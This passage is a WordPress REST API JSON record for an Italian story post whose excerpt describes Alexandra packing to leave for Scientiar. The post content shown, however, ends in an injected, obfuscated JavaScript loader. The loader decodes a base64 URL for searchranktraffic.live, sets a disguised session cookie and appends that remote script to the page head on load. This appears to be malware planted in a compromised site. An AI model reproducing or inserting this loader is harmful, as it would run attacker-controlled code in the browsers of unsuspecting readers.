key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Alexandra si muoveva nella stanza scrutando con attenzione ogni oggetto, selezionando con cura i ricordi che voleva portare con s\u00e9. Sopra il tavolo una sacca aperta ancora mezza vuota. Aveva deciso di partire per Scientiar e di trascorrere con i vecchi compagni quello che rimaneva<\/p>\n","protected":false},"author":118,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[103],"tags":[],"class_list":["post-4112","post","type-post","status-publish","format-standard","hentry","category-la-scacchiera"],"_links":{"self":[{"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/posts\/4112","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/comments?post=4112"}],"version-history":[{"count":6,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/posts\/4112\/revisions"}],"predecessor-version":[{"id":4176,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/posts\/4112\/revisions\/4176"}],"wp:attachment":[{"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/media?parent=4112"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/categories?post=4112"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/tags?post=4112"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}